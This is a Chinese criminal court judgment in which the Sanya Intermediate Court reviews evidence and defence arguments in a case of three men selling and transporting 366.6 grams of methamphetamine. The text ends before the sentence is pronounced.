海南省三亚市中级人民法院
p t ; ” > 刑 事 判 决 书
(2017)琼02刑初44号
公诉机关海南省三亚市人民检察院。
被告人黎帅，男，1980年2月6日出生于海南省三亚市，汉族，初中文化程度，住海南省三亚市。曾因犯贩卖毒品罪于2007年3月20日被判处有期徒刑十年，剥夺政治权利二年，并处罚金10000元。2014年1月27日刑满释放。因吸毒于2015年8月25日、2016年2月2日被行政拘留。因涉嫌犯贩卖毒品罪于2016年12月14日被抓获，同年12月15日被刑事拘留，2017年1月21日被逮捕。现羁押于三亚市第一看守所。
指定辩护人张振安，海南邦威律师事务所律师。
被告人王绍，男，1975年9月4日出生于海南省三亚市，汉族，初中文化程度，住海南省三亚市。曾因吸毒于2009年被强制戒毒二年。因涉嫌犯贩卖毒品罪于2016年12月14日被抓获，同年12月15日被刑事拘留，2017年1月21日被逮捕。现羁押于三亚市第一看守所。
辩护人孙定华，海南三和元律师事务所律师。
被告人蔡强，曾用名林於强、林辉，男，1990年9月18日出生于海南省三亚市，汉族，小学文化程度，住海南省三亚市。因犯贩卖毒品罪于2014年12月24日被判有期徒刑六个月，并处罚金2000元。因涉嫌犯贩卖毒品罪于2016年12月14日被抓获，同年12月24日被刑事拘留，2017年1月21日被逮捕，同年1月22日因病被取保候审。
海南省三亚市人民检察院以三检公诉刑诉〔2017〕46号起诉书指控被告人黎帅、王绍、蔡强犯贩卖、运输毒品罪，于2017年8月14日向本院提起公诉。本院依法组成合议庭，公开开庭审理了本案。海南省三亚市人民检察院指派副检察长马劲平出庭支持公诉，被告人黎帅、王绍、蔡强及辩护人张振安、孙定华到庭参加诉讼。现已审理终结。
三亚市人民检察院起诉指控：2016年12月13日10时许，外号为”翁哥”（另案处理）的男子联系被告人王绍说想购买甲基苯丙胺200克，让王绍帮忙联系卖家。被告人王绍找到被告人黎帅问其是否能买到200克甲基苯丙胺，黎帅与贩毒分子莫济鸿（另案处理）联系购买甲基苯丙胺。后”翁哥”又与被告人王绍联系打算再多买200克甲基苯丙胺，王绍再次与被告人黎帅联系说”翁哥”需要400克甲基苯丙胺,黎帅再次与莫济鸿联系并商定以110元每克的价格购买400克甲基苯丙胺，并约定使用银行转账的方式汇款，同时约定在海南省万宁市××镇进行交易。被告人黎帅与被告人王绍经商议将该400克甲基苯丙胺以130元每克的价格贩卖给”翁哥”，每克赚取20元的利润。后”翁哥”以700元佣金雇佣被告人蔡强带着人民币40700元去三亚市通海三巷找被告人王绍拿甲基苯丙胺，蔡强明知”翁哥”是贩毒分子仍然答应帮助”翁哥”购买甲基苯丙胺。经被告人王绍介绍，当日21时被告人蔡强与被告人黎帅在三亚市××巷会面，黎帅、王绍、蔡强一起从三亚市前往万宁市长丰镇找莫济鸿购买甲基苯丙胺。被告人黎帅、王绍、蔡强三人在三亚市农垦医院附近以600元的价格租用一辆车牌号为×××的金色广汽本田凌派小轿车前往万宁市长丰镇。在途经三亚市林旺镇时，被告人黎帅和被告人蔡强到中国邮政储蓄银行三亚市海棠湾林旺支行将蔡强携带的40000元毒资转到莫济鸿指定的莫济鸿、韦冬梅账户上。2016年12月14日凌晨1时30分许，三人乘坐的轿车行至万宁市大茂高速路段，被告人黎帅要求司机将车停在路边一辆白色越野车前面，随后黎帅下车走到白色越野车旁边，坐在白色越野车内的莫济鸿将一包黑色袋子包装的甲基苯丙胺从车窗拿给黎帅，黎帅将这包甲基苯丙胺拿回并藏在×××轿车副驾驶的后排座椅处返回三亚市。12月14日凌晨3时许，公安干警在三亚市崖城下高速路口处将车牌为×××的轿车截获，当场抓获被告人黎帅、王绍、蔡强，并从副驾驶的后排扣押黑色袋子包装的冰毒可疑物一包，从王绍身上扣押黑色塑料袋包装的冰毒可疑物一小包。经鉴定，从车牌为×××轿车副驾驶的后排座椅处扣押冰毒疑似物一包净重366.6克，甲基苯丙胺含量为79.5%；从被告人王绍身上扣押冰毒疑似物一小包净重7.98克，检出甲基苯丙胺成分。
针对上述事实，公诉机关当庭出示：1.物证：甲基苯丙胺2包，手机3个等物证；2.书证：被告人常住人口信息等书证；3.证人证言：证人罗某的证言；4.被告人的供述与辩解：黎帅、王绍、蔡强的供述与辩解；6.鉴定意见：物证检验报告等鉴定意见；7.勘验、辨认等笔录：现场勘验检查等笔录；8.电子数据：黎帅与王绍、莫济鸿的通话内容。据此认为，被告人黎帅、王绍违反国家毒品管理规定，共同贩卖、运输甲基苯丙胺366.6克，其共同行为触犯了《中华人民共和国刑法》第三百四十七条第一款、第二款、第二十五条第一款、第二十六条第一款之规定，犯罪事实清楚，证据确实、充分，应当以贩卖、运输毒品罪追究其刑事责任。被告人蔡强明知是甲基苯丙胺，仍伙同黎帅、王绍将366.6克甲基苯丙胺从海南省万宁市，其共同行为触犯了《中华人民共和国刑法》第三百四十七条第一款、第二款、第二十五条第一款、第二十六条第一款之规定，犯罪事实清楚，证据确实、充分，应当以运输毒品罪追究其刑事责任。被告人蔡强明知他人贩卖毒品，仍提供帮助购买、运输甲基苯丙胺366.6克，其共同行为触犯了《中华人民共和国刑法》第三百四十七条第一款、第二款、第二十五条第一款之规定，犯罪事实清楚，证据确实、充分，应当以贩卖毒品罪追究其刑事责任。被告人黎帅、蔡强曾因毒品犯罪被判处有期徒刑以上刑罚，刑罚执行完毕以后，在五年内再犯应判处有期徒刑以上刑罚之罪，根据《中华人民共和国刑法》第六十五条第一款、第三百五十六条之规定，系累犯、毒品再犯，应当从重处罚。根据《中华人民共和国刑事诉讼法》第一百七十二条的规定，提起公诉，请依法判处。
在法庭审理中，被告人黎帅辩称其从莫济鸿处拿到毒品后就交给蔡强。
被告人黎帅的辩护人提出的辩护意见是：1.被告人黎帅的行为不构成贩卖毒品罪，也不构成运输毒品罪。对于受他人委托寻找售毒者并帮助介绍他人购买毒品，而购毒者仅用于吸食或无其他证据证明购毒者走私、运输、贩卖毒品的，应认定为非法持有毒品罪的共犯。现有证据不足以证明”翁哥”或蔡强购买毒品的目的是为了贩卖，故黎帅介绍购买毒品的行为应认定为非法持有毒品罪。蔡强接受委托购买、取货的行为属于非法持有的一种表现，而非构成独立的行为。租车并非黎帅所为，黎帅伙同蔡强乘车去购买毒品尔后又乘车返回不构成运输毒品罪。2.被告人黎帅是非法持有毒品罪的共犯，但属于从犯，应当从轻、减轻或者免除处罚。3.被告人黎帅归案后认罪态度较好，如实供述自己的罪行，可以酌情从轻处罚。
被告人王绍辩称其没有和黎帅商议将该400克甲基苯丙胺以130元每克的价格贩卖给”翁哥”。
被告人王绍的辩护人提出的辩护意见是：1.被告人王绍有贩卖毒品犯罪的共同行为，但其任务是受”翁哥”的委托寻找卖方，为”翁哥”非法收买毒品提供便利条件，实际上也促成”翁哥”和黎帅达成非法收买毒品协议，另外本案没有查证属实王绍与黎帅商议将400克甲基苯丙胺以130元每克的价格贩卖给”翁哥”，每克赚取20元的利润并进行分配。因此，在共同贩卖毒品犯罪的过程中起次要作用，系从犯。2.被告人王绍运输毒品的行为不具有独立性，应当被贩卖毒品行为吸收。
被告人蔡强对公诉机关指控的犯罪事实和罪名均没有异议。
经审理查明，2016年12月13日10时许，外号为”翁哥”（另案处理）的男子联系被告人王绍说想购买甲基苯丙胺200克，让王绍帮忙联系卖家。被告人王绍找到被告人黎帅问其是否能买到200克甲基苯丙胺，黎帅与贩毒分子莫济鸿（另案处理）联系购买甲基苯丙胺。后”翁哥”又与被告人王绍联系打算再多买200克甲基苯丙胺，王绍再次与被告人黎帅联系说”翁哥”需要400克甲基苯丙胺,黎帅再次与莫济鸿联系并商定以110元每克的价格购买400克甲基苯丙胺，并约定使用银行转账的方式汇款，同时约定在海南省万宁市××镇进行交易。被告人黎帅与被告人王绍经商议将该400克甲基苯丙胺以130元每克的价格贩卖给”翁哥”，每克赚取20元的利润。被告人蔡强受贩毒分子”翁哥”指使，带着40700元去三亚市通海三巷找被告人王绍拿甲基苯丙胺。经被告人王绍介绍，当日21时被告人蔡强与被告人黎帅在三亚市××巷会面，黎帅、王绍、蔡强一起从三亚市前往万宁市长丰镇找莫济鸿购买甲基苯丙胺。被告人黎帅、王绍、蔡强在三亚市农垦医院附近以600元的价格租用一辆车牌号为×××的金色广汽本田凌派小轿车前往万宁市长丰镇。在途经三亚市林旺镇时，被告人黎帅、蔡强到中国邮政储蓄银行三亚市海棠湾林旺支行将蔡强携带的40000元毒资转到莫济鸿指定的莫济鸿、韦冬梅账户上。2016年12月14日凌晨1时13分许，三人到达万宁市长丰镇。1时30分许，被告人黎帅接到莫济鸿的电话后，要求司机将车开至万宁市大茂高速路段，将车停在路边一辆白色越野车前面，随后黎帅下车跟白色越野车内的莫济鸿拿回一包黑色袋子包装的甲基苯丙胺，藏在×××轿车副驾驶的后排座椅处返回三亚市。12月14日凌晨3时许，公安干警在三亚市崖城下高速路口处将轿车截获，当场抓获被告人黎帅、王绍、蔡强，并从副驾驶的后排座椅处查获一包净重366.6克甲基苯丙胺，含量为79.5%；从王绍身上扣押黑色塑料袋包装的一小包净重7.98克甲基苯丙胺。
上述犯罪事实，有公诉人在庭审中提交并经法庭质证、认证的下列证据予以证实：
1.物证
（1）2包甲基苯丙胺（照片）：①在×××小轿车后排座位脚垫处（副驾驶座位下面）查获的1包366.6克甲基苯丙胺（编号为A1）。②从被告人王绍身上扣押的1小包净重7.98克甲基苯丙胺（编号为B1）。
（2）3部手机：①从被告人黎帅处扣押的1部华为白色手机。②从被告人蔡强身上扣押到1部苹果手机和1部三星手机。
（3）小轿车1辆（照片）：本田牌凌派小轿车（车牌号码×××）。
（4）2个塑料袋。
2．勘验、检查、指认笔录
（1）现场勘验检查笔录，证实公安干警对毒品交易现场G98东线高速公路海南省万宁市××路处、毒资交易银行三亚市海棠湾区林旺镇林旺大道74号邮政储蓄银行进行现场勘查并拍摄现场照片11张、制作现场示意图2张。
（2）指认现场笔录及照片，证实被告人黎帅、王绍、蔡强指认毒品交易现场G98东线高速公路海南省万宁市××路处、毒资交易银行三亚市海棠湾区林旺镇林旺大道74号邮政储蓄银行。黎帅指认从×××小轿车上查获的毒品疑似物一包（A1）、黎帅指认自己使用的华为手机、王绍指认从自己身上扣押的毒品疑似物一包（B1）、蔡强指认自己使用的苹果手机、三星手机。黎帅、王绍、蔡强指认包装毒品疑似物A1的黑色、透明塑料袋。
（3）指认轿车藏匿毒品的位置及照片，证实被告人蔡强、黎帅、王绍均能指认毒品藏匿在×××车后排座位。
（4）搜查笔录、扣押笔录、扣押决定书、扣押清单，证实2016年12月14日三亚港边防派出所在海南西线高速（三亚往海口方向）崖城出口处抓获被告人黎帅、王绍、蔡强等四人，在对4人乘坐的×××小轿车搜查时，在车后排座位脚垫处（副驾驶座位下面）查获透明塑料袋包装（外包黑色塑料袋）的白色晶体状毒品疑似物一包（编号为A1），并将该物品扣押。从黎帅处扣押华为白色手机一部。从王绍裤子口袋内查获黑色塑料袋包装白色晶体状毒品疑似物1包（编号为B1），对该物品予以扣押。从蔡强身上扣押到一部苹果手机（号码173XXXXXXXX）和一部三星手机（号码155XXXX****）。
（5）小轿车扣押笔录、扣押决定书、扣押清单、发还清单，证实2016年12月14日4时公安干警将罗某驾驶的本田牌凌派小轿车（车牌号码×××）进行扣押。2016年12月15日该车已经发还给罗某。
3.鉴定意见
（1）海南省三亚市公安司法鉴定中心三公司鉴（理化）字[2016]518号理化检验鉴定书及鉴定人、鉴定机构资格证书，证实：①晶体块状物（原编号A1），留检重量0.51克，编号为E2016518-001号检材，检出甲基苯丙胺成分。②晶体块状物（原编号B1），留检重量0.72克，编号为E2016518-002号检材，检出甲基苯丙胺成分。
（2）公安部公物证鉴字[2017]739号物证检验报告及鉴定人、鉴定机构资格证书，证实从检材（原编号A1）中检验出甲基苯丙胺，含量为79.5%。
（3）现场检测报告书，证实被告人黎帅、王绍冰毒检测呈阳性，为吸毒人员。
4.书证
（1）被告人黎帅、王绍、蔡强常住人口信息表，证实被告人黎帅出生于1980年2月6日；被告人王绍出生于1975年9月2日；被告人蔡强出生于1990年9月18日，曾用名林於强、林辉。
（2）到案经过、两份抓获经过，证实2016年12月13日，三亚港边防派出所民警在工作中发现三亚市有一名叫黎帅的男子有贩毒的嫌疑，派出所随即组织摸排跟踪。2016年12月14日凌晨3时许，民警在三亚市崖城下高速路口处将涉嫌贩卖毒品的被告人黎帅、王绍、林於强（蔡强）抓获，在三人乘坐的×××小轿车上扣押一包用黑色袋子包装的冰毒可疑物，从王绍身上扣押一包用黑色塑料袋包装的冰毒可疑物，从黎帅身上缴获一部手机（187XXXX****），从林於强身上扣押两部手机（苹果手机号码为173XXXXXXXX，三星手机155XXXX****）。
（3）称量、取样笔录及告知笔录，证实本案在×××小轿车车后排座位垫脚处（副驾驶座位下面）查获透明塑料袋包装的白色晶体状毒品疑似物A1,公安干警在有见证人的情况下对毒品进行封装。后在三亚港边防派出所内对毒品疑似物A1进行拆封、称量和取样。经称量，A1净重366.60克；公安干警对A1不同位置抽取并混合检材两份，一份检材0.48克作为毒品定性用检材，一份检材14.76克作为毒品定量用检材。
公安干警从王绍裤子口袋内查获白色晶体状毒品疑似物B1，公安干警在有见证人的情况下对毒品进行了封装。后在三亚港边防派出所内对毒品疑似物B1进行拆封、称量和取样。经称量，B1净重7.98克；公安干警对B1不同位置抽取并混合检材一份0.72克，该检材作为毒品定性用检材。
（4）被告人黎帅手机通话记录和短信记录提取笔录，证实被告人黎帅与莫济鸿之间在2016年12月14日与12月13日频繁通话。莫济鸿给黎帅发送了户名为莫济鸿、韦东梅两张银行卡卡号。
（5）被告人王绍的手机号码信息及通话清单，证实136XXXX****的号码为王绍本人所有。2016年12月13日、14日，王绍与被告人黎帅187XXXX****、蔡强173XXXXXXXX均有通话。
（6）136XXXX****（翁哥）的电话的通话记录，证实该号码注册人为黎某，与蔡强173XXXXXXXX之间在2016年12月13日有过通话。
（7）187XXXX****（黎帅）的注册信息和通话清单，证实该号码注册人为黎某，与莫某189XXXX****、蔡强173XXXXXXXX、王绍136XXXX****之间在2016年12月13日有通话记录。
（8）189XXXX****(莫某)的注册信息和通话记录，证实该号码注册人为韦某，189XXXX****与黎帅187XXXX****在2016年12月13日有通话记录。
（9）173XXXXXXXX的注册信息和通话记录，证实该号码注册人为林於强（即蔡强），蔡强与黎帅、王绍在2016年12月13日有通话记录。
（10）莫某、韦某银行卡交易明细，证实莫某尾号为7069的账户于2016年12月13日收入现金20000元。韦某尾号为9613的账户于2016年12月13日、14日各收入现金10000元，合计20000元。
（11）本院（2007）三亚刑初字第1号刑事判决书、释放证明书、行政处罚记录，证实①黎帅因贩卖毒品罪于2007年3月20日被判处有期徒刑十年，剥夺政治权利二年，并处罚金10000元，刑期自2006年7月25日至2016年7月24日。②黎帅因吸毒于2015年8月25日、2016年2月2日因吸毒被行政拘留。
（12）被告人王绍的强制戒毒记录，证实2009年王绍因吸毒被三亚市公安机关抓获并强制戒毒二年。
（13）海南省三亚市城郊人民法院（2014）城刑初字第560号刑事判决书，证实被告人蔡强于2014年12月24日因贩卖毒品罪被判有期徒刑六个月，并处罚金2000元。监外执行六个月。
5.证人证言
（1）罗某的证言：2016年12月13日21时10分许，我的老乡王绍带着两名男子，一个穿黑色T恤上衣（黎帅），一个穿蓝色外套（蔡强），以600元租我的本田牌凌派汽车（车牌号码：×××）去万宁。22时许到了三亚市林旺镇时，王绍和两名男子就下车去镇上的银行转钱。12月14日0时许，我们到达了万宁市长丰镇，吃完夜宵我们就在车上听歌。待了十几分钟，王绍就叫我开车带他去找银行转钱。于是我把车开到了长丰镇上的工商银行，王绍就自己下车了。1分钟左右，王绍就返回车中。王绍说要去长丰镇高速路口的公共汽车站，于是我就开车带他们到了长丰镇高速路口的公共汽车站。大约在公共汽车站等了三十分钟，黎帅打完电话后让我开车到和乐镇，我就开车上了高速公路，在高速路上黎帅又说去大茂那里。之后在距离大茂高速路口还有7公里的路边停着一辆白色的越野汽车，黎帅要求我在这辆白色越野汽车前面停下，于是我停车在这辆白色越野车前面，这时这辆白色越野车就启动了并停在了我汽车的旁边，这时黎帅就下车走到白色越野车旁边，白色越野本里面有人给了他一包黑色东西。黎帅迅速走到我车旁边，将那包黑色东西从后排座椅车窗扔到车内后排座椅下面，随后立即进入车里并让我开车返回三亚市，凌晨3时许，我开车到达了三亚市崖城高速路口的时候，被派出所的民警拦停，并在车上查获冰毒。
罗某的辨认笔录，罗某辨认出黎帅就是租车的三人中穿着黑色T恤上衣的男子。蔡强就是租车的三人中穿着蓝色外套的男子。
（2）蔡甫华的证言：蔡强是我儿子，”蔡强”是他从小就用的名字，在海口老家的户口上一直用”蔡强”这个名字，户籍地是海口市龙华区涌谭村，身份证号码是×××。十岁之后因蔡强身体不好，在算命的人建议下，随其母亲姓，改为”林辉”，不久后又改为”林於强”，跟随其舅舅的户口，户籍地是三亚市解放路102号，身份证号码是×××。
6.被告人供述与辩解
（1）黎帅的供述：2016年12月13日16时30分许，我在王绍居住的三亚市××巷睡觉，王绍从外面回来就问我：”等一下我有个朋友下来拿东西，你能拿到不？”我就说：”我也不太确定，我要打电话问我朋友才能确定。你那朋友大概要多少？”王绍就说：”要200个。”随后我就打电话给我那朋友”阿洪”（莫济鸿），莫济鸿告诉我有货，我就跟王绍说了，王绍说：”那等我朋友上来再确定吧。”当天20时许，王绍又问我：”再加200个有没有？”我就打电话给莫济鸿问：”人家说再加200个有没有啊？”莫济鸿说：”有啊。”我就说：”好啊，你顺便把卡号发过来。”我就跟王绍说：”我朋友说有啊。”半个钟左右，王绍的朋友来到了王绍居住的二楼房间里，王绍的朋友问：”什么时候能走？”我就说：”要拿货的话要先打钱过去给人家，然后到万宁长丰那边去等。”我们三个就打的士到农垦医院包王绍一个老乡的广汽本田凌派小轿车去万宁。21时44分许，我们在去万宁的路上莫济鸿打电话来说：”确定要400个了不，确定了我就跟别人订了？”我就说：”确定了。”21时50分许，莫济鸿又打电话来说：”你们什么时候打钱过来啊？”我就说：”等一会，这边能不能只要300个？”莫济鸿说：”都已经订好了，要不就全不要。”我就说：”那就400吧。”过了没多久我们来到林旺镇上的一家邮政局里，王绍的朋友就和我一起进去到银行ATM机上准备转账给莫济鸿，我发微信给莫济鸿：”哪个卡号打两万，哪个卡号打两万四？”莫济鸿就说：”我名字的卡号就打两万四，另外那个就打两万。”然后我就从王绍朋友手上接过四万元然后将肆万元整（40000元人民币）分别转账到莫济鸿提供的两张银行卡里。由于只有四万元，所以都各打了两万元到卡里，转账完后大概22时33分许，我就打电话给莫济鸿说：”打了四万块钱到你的账户上了。”莫济鸿就说知道了。然后我们上车后就往万宁方向开去了。23时13分许，我打电话给莫济鸿说：”我们快到长丰了。”莫济鸿说：”知道了。”我们到了长丰后就在附近吃了个夜宵。1时15分许，莫济鸿叫我们在长丰高速路口处等，我们就在高速路口下面的地方等他电话。后来莫济鸿打电话来说他已经从长丰那里往海口方向走了，让我们开车去赶他，他在大茂高速路段等我们。我们就开车上高速，走到大茂高速路段时看到一辆出租车停在路边，我们就将车停靠在出租车的前面，我就打开车门从车右后座下车，这时出租车启动往我们的车方向靠近，我就从车尾处走去，正好出租车来到我跟前，车里的莫济鸿就扔了一袋黑色包装的袋子给我，然后就离开了。我拿到袋子后就立即上车也开车往三亚方向回去。14日凌晨2时16许，莫济鸿打电话问我们到家没有，我就说快到了。3时许，我们走到崖城下高速路口的时候就被公安机关拦截抓获了。
我提到的”200个”、”400个”，一个就是一克的意思，200个就是200克冰毒、400个就是400克冰毒。我在莫济鸿那里买的是一克110元，王绍卖给他朋友是一克130元，中间获得的盈利就王绍和我平分。我是使用电话187XX****XX与莫济鸿189XXXX****的电话号码联系的。莫济鸿提供的转账卡号是两张都是邮政储蓄卡，一张是用户名为莫济鸿的×××；另一张是用户名为韦冬梅的×××。我从王绍的朋友手里接过现金分别转入莫济鸿提供的两张邮政卡里。王绍身上的毒品不是我给他的。我的手机卡187XXXX****是我的亲哥哥黎礼汪给我用的。2006年7月25日我曾经因贩卖毒品罪判处有期徒刑十年，2016年2月2日因吸毒被行政拘留15日。
黎帅的辨认笔录,黎帅辨认出王绍、蔡强，辨认出莫济鸿就是2016年12月13日在海南省万宁市××路口跟其交易毒品的”阿洪”。
（2）王绍的供述：2016年12月13日上午，一名叫做”翁哥”的男子给我打电话，刚好我的手机没电，我就拿别人的手机给”翁哥”打电话。”翁哥”问我是否懂人他要买200个毒品，还问多少钱，然后我就当面问黎帅要多少钱，黎帅当时就在我旁边，黎帅就说130元一个，我就又给”翁哥”打电话说130元一个，”翁哥”又说拿400个多少钱，黎帅说一个可以少5块。我又和”翁哥”联系说拿400个一个少5块，”翁哥”就说拿200个，并说自己在崖城到时候联系我，后来”翁哥”就叫一个名为蔡强的人到三亚来联系我。蔡强和黎帅商谈好后我们就一起打的去三亚市农垦医院门口公交站包车。我跟罗某谈好包罗某的小车去万宁来回要600元。在车上黎帅一直在打电话和发信息。差不多到林旺时，黎帅叫罗某把车开到林旺的一个邮政银行（离银行约一百米远）路边停车，说他和蔡强去给对方打钱，当时，我也跟着车，准备跟他们一起去银行，但是，黎帅不让我跟着他们，叫我去买水然后回去跟罗某在车上等他们，然后我和罗某在车上等了约二十分钟，黎帅和蔡强就回到车上，然后我们就接着开往万宁。当车开到万宁长丰时，黎帅就叫我们在长丰吃夜宵，顺便等一下对方，我们在万宁长丰约等了30分钟，然后我们车又继续往前（海口方向）开。14日凌晨1时许，到了万宁大茂高速路口（往海口方向）时，我就看到高速路边停着一辆白车轿车，轿车打着双闪灯；黎帅就叫罗某把车开到那辆白色轿车前面二、三米的地方停下。停车后，黎帅就一个人下车跑向那辆白色轿车，从白色轿车上面拿着一包黑色东西又跑回到我们车上，黎帅一上车，就叫我们开车走了。14时凌晨02时30分许，车开到三亚天涯路段时，在车上我就跟黎帅说，拿点”东西”给我玩，黎帅听后就从身上拿出一袋冰毒给我（当时冰毒是用一个黑色塑料袋装着的），我从黎帅手上接过后看了一下袋子里面的冰毒，然后把塑料袋包好就装到我裤子的左口袋。14日3时许，当车开到三亚崖城下高速路口时，被公安机关抓获了，从我们身上扣押了冰毒。
我所说的东西指的就是冰毒。因为吸食毒品，我没有收入，就想介绍他们交易，然后从中间得到好处。我知道黎帅平时就是卖毒品的，平时黎帅也会拿一些冰毒给我和他一起玩。在去万宁之前我就知道去拿毒品。我介绍”翁哥”跟黎帅购买毒品，我从黎帅那里得到一包冰毒作为好处，那一小包毒品是我们在万宁那里购买毒品后回到三亚的路上黎帅给我的。我的手机在我被抓获时弄丢了。我的联系电话为136XX****XX。2009年5月20日被强制戒毒1年6个月。
王绍的辨认笔录，王绍辨认出林於强（蔡强）。
（3）蔡强的供述：2016年12月13日19时许，”翁哥”(136XXXX****)打电话给我（173XX****XX），让我去找他。他让我拿40700元到三亚找一名男子把钱给他，那名男子拿到钱后会把冰毒给我，之后再把带冰毒带回崖城，对方的联系电话136XX****XX。700元用于路费、水费等费用，等我拿到毒品交给翁哥，他会再给我700元做报酬。我当时就同意了。2016年12月13日21时许到三亚市后联系136XXXX****这个电话，电话里是一名男子，他叫我去三亚湾路通海三巷，我到那里看到白色上衣的男子（王绍）在一间民房上向我招手。我到民房二楼看到一名黑衣男子（黎帅）和王绍在一起，我问王绍有没有冰毒，王绍说现在没有冰毒，要到别的地方拿冰毒，我大概等几分钟期间看到他们用手机联系其他人，之后他们说现在有冰毒了，但现在要租-
部车去万宁拿。我跟着他们到农垦医院，我也不知道他们从哪里找的一部轿车，开车的是一名40多岁的男子，就这样我们四个人就开车离开三亚往万宁方向开。22时许我们到了林旺镇上，黎帅叫司机把车开到农村信用社前，黎帅就叫我下车，下车后我、黎帅和王绍一起到农村信用社门口，王绍让我拿500元给他去买烟我就给他了。我和黎帅走到自动柜员前，黎帅就叫我把钱拿给他，我就把40000元人民币拿给了他，黎帅就把钱拿去存了，存完钱后我们就上车继续往万宁开。14日0时许我们到了万宁长丰，因为那边的人还没有到我们就在吃了夜宵。我们等了半个小时左右，那边就打电话给黎帅，黎帅就说走了，叫司机把车开到高速公路。当时王绍坐副驾驶位置上，我和黎帅坐在后座，我们把车开到万宁大茂高速路口，对方也开了一部车过来。当时只有黎帅下车了，我也不知道对方有多少人，黎帅走过去不到一分钟就回来了，黎帅手里那里一个黑色塑料袋，他回到后座时把黑色塑料袋放在座位旁，黎帅对我说黑色袋子里是冰毒。之后就对司机说回崖城，快到崖城高速路口的时候王绍说不够钱让我拿钱，我就把200元给他了。14日03时许我们开车到崖城下高速路口时被派出所的民警拦截，随后将我们四人抓获。我不知道要带多少冰毒回来，每克冰毒是多少钱他没有和我说。我们坐车的位置是我坐在驾驶员后面，黎帅坐在我旁边，王绍坐在副驾驶的位置。我没有看到在车上黎帅给王绍一包毒品。我患有尿毒症和高血压。2013年7月2日因贩毒被保港派出所抓获，后判有期徒刑6个月，因患尿毒症被取保候审。我听社会上的朋友说”翁哥”是贩卖毒品的，但是我没有见过他贩毒。
”蔡强”是我出生的时候取的名字，十多岁的时候我被查出来恶性高血压和肾炎，当时身体非常不好，家里就找算命问了问，就说要跟我妈姓，姓林，然后大概7、8年前我就改了户籍资料叫”林辉”了。当时就是有两个身份证的，后来因为家族里说家族辈分里没有这个”辉”字，改名叫”林辉”几个月后我又改名叫林於强了。
蔡强的辨认笔录，蔡强辨认出黎帅就是穿着黑色上衣的男子，王绍就是穿着白色上衣的男子。
7.技侦证据
（1）被告人黎帅与王绍之间通话内容，证实两人就购买毒品的数量、价格进行商谈，并打算租车去拿毒品。
（2）被告人黎帅与莫济鸿之间的通话内容，证实两人商谈贩卖毒品的数量、价格、付款、交易时间、地点。
以上证据，来源合法，客观真实，证据之间均能相互印证，并具有法律证明效力，本院予以确认。
关于犯罪事实方面的辩解和辩护意见，1.被告人黎帅辩称其从莫济鸿处拿到毒品后就交给蔡强，经查，在侦查阶段，黎帅供述其从莫济鸿处拿到毒品后就立即上车离开。王绍供述黎帅一个人下车去拿毒品后跑回车里，一上车就叫我们开车走了。蔡强供述黎帅回到车里后座时把黑色塑料袋放在座位旁。司机罗某陈述黎帅将那包黑色东西从后排座椅车窗扔到车内后排座椅下面，随后立即进入车里并让其开车返回三亚市。三被告人的供述及证人的陈述均未能证实黎帅将毒品拿到后即交给蔡强。且根据被告人黎帅、王绍、蔡强的指认和勘验、搜查笔录，黎帅是坐在副驾驶座后面的座位，而毒品是在该座位脚垫处被查获。2.被告人王绍辩称其没有和黎帅商议将该400克甲基苯丙胺以130元每克的价格贩卖给”翁哥”。经查，被告人黎帅供述其在莫济鸿那里买的是一克110元，王绍卖给他朋友是一克130元，获得的盈利两人平分。被告人王绍供述”翁哥”要买200个毒品，其就问黎帅要多少钱，黎帅说130元一个，其就告诉”翁哥”说130元一个。其没有收入，就想介绍他们交易，然后从中间得到好处。技侦材料证实黎帅以每克110元向莫济鸿购买400克，总价款是44000元。以上证据相互印证，可以证实黎帅和王绍商议将该400克甲基苯丙胺以130元每克的价格贩卖给”翁哥”，从中渔利。综上，被告人及其辩护人的以上辩解和辩护意见均不成立，不予采纳。
关于定性方面的辩护意见，1.被告人王绍的辩护人提出的王绍运输毒品的行为不具有独立性，应当被贩卖毒品行为吸收的辩护意见，本院认为，刑法第三百四十七条规定的”走私、贩卖、运输、制造毒品罪”是选择性罪名，行为人对同一宗毒品实施了两种以上犯罪行为并有相应确凿证据的，应当按照所实施的犯罪行为的性质并列确定罪名，毒品数量不重复计算，不实行数罪并罚。本案中，被告人王绍既实施了贩卖毒品的行为，又实施了运输毒品的行为，应以贩卖、运输毒品罪论处，而不能以运输毒品的行为被贩卖毒品的行为吸收而仅以贩卖毒品罪论处。辩护人的该辩护意见没有法律依据，不予采纳。2.被告人黎帅的辩护人提出黎帅的行为不构成贩卖毒品罪，也不构成运输毒品罪的辩护意见，经查，被告人黎帅和王绍主观上是以每克110元的价格购买毒品，以每克130元的价格卖出，不属于居间介绍买卖毒品行为，而是居间倒卖毒品的行为。在居间倒卖中，居间倒卖者属于毒品交易的主体，与前后环节的交易对象是上下家的关系，直接参与毒品的交易并从中获利。据此，被告人黎帅、王绍的行为构成贩卖毒品罪。被告人黎帅、王绍与买方的被告人蔡强一起到万宁购买毒品，黎帅拿到毒品后，并未将毒品交给蔡强，而是三人一起将毒品运往三亚，在途中被查获。故被告人黎帅、王绍、蔡强的行为构成运输毒品罪。综上，辩护人的以上辩护意见均没有事实和法律依据，不予采纳。
关于量刑方面的辩护意见，1.被告人黎帅的辩护人提出黎帅是非法持有毒品罪的从犯的辩护意见，被告人王绍的辩护人提出王绍在贩卖毒品罪系从犯的辩护意见，经查，首先，被告人黎帅、王绍的犯罪行为如前所述，已构成贩卖、运输毒品罪，不能以非法持有毒品罪论处，也不能仅以贩卖毒品罪论处。其次，在贩卖、运输毒品的共同犯罪中，被告人黎帅、王绍共同预谋，积极参与，地位、作用相当，不分主从。辩护人的该辩护意见不成立，不予采纳。2.被告人黎帅的辩护人提出黎帅归案后认罪态度较好，如实供述自己的罪行，可以酌情从轻处罚的辩护意见，经查属实，予以采纳。
本院认为，被告人黎帅、王绍共同贩卖、运输366.6克甲基苯丙胺，其共同行为已构成贩卖、运输毒品罪。被告人蔡强与被告人黎帅、王绍共同运输，与他人共同贩卖366.6克甲基苯丙胺，其共同行为已构成贩卖、运输毒品罪。公诉机关指控被告人黎帅、王绍、蔡强犯贩卖毒品罪的事实清楚，证据确实充分，指控罪名成立，应予以支持。被告人黎帅、蔡强曾因毒品犯罪被判处有期徒刑以上刑罚，刑罚执行完毕以后，在五年内再犯应判处有期徒刑以上刑罚之罪，系累犯、毒品再犯，应当从重处罚。被告人黎帅于2015年8月、2016年2月因吸毒被行政处罚，被告人王绍曾因吸毒被强制戒毒二年，可酌情从重处罚。被告人蔡强、黎帅到案后如实供述自己的罪行，系坦白，可从轻处罚。
